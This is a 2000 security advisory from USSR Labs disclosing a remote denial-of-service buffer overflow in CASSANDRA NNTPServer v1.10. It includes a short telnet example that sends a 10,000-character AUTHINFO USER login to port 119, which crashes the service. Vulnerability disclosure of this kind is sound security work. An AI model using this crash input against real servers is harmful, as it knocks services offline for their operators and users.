-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Remote DoS attack in CASSANDRA NNTPServer v1.10 from ATRIUM SOFTWARE Vulnerability USSR Advisory Code: USSR-2000039 Release Date: May 1, 2000 Systems Affected: CASSANDRA NNTPServer Version v1.10 (WinNT / Win95) THE PROBLEM The Ussr Labs Team has recently discovered a buffer overflow problem in the CASSANDRA NNTPServer v1.0. What happens is preforming an attack with a large login information Port 119, cause the proccess containg the services to stop responding. Thanks to [Racer X] to let us know about this. Example: [hellme@die-communitech.net$ telnet example.com 119 Trying example.com... Connected to example.com. Escape character is '^]'. 200 CASSANDRA NNTP-Server (v1.10.01 Unregistered) for Windows 95 ready at Mon, 1 May 2000 xx:xx:xx +-300 (posting allowed) AUTHINFO USER (buffer) Where buffer is 10000 characters. It will take down the service, making it non-functional, (untill Reboot) Vendor Status: Informed. Vendor Url: http://www.atrium.de/ Program Url: http://www.atrium.de/cassandra/cassandra_e.cfm Download Url: http://www.atrium.de/download/casnntpe.exe Related Links: Underground Security Systems Research http://www.ussrback.com Greetings: Eeye, Attrition, w00w00, beavuh, Rhino9, SecurityFocus.com, ADM, HNN, Technotronic and Wiretrip. HNC Copyright (c) 1999-2000 Underground Security Systems Research. Permission is hereby granted for the redistribution of this alert electronically. It is not to be edited in any way without express consent of Ussr. If you wish to reprint the whole or any part of this alert in any other medium excluding electronic medium, please e-mail labs@ussrback.com for permission. Disclaimer: The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk. Feedback: Please send suggestions, updates, and comments to: Underground Security Systems Research mail:labs@ussrback.com http://www.ussrback.com u n d e r g r o u n d s e c u r i t y s y s t e m s r e s e a r c h http://www.ussrback.com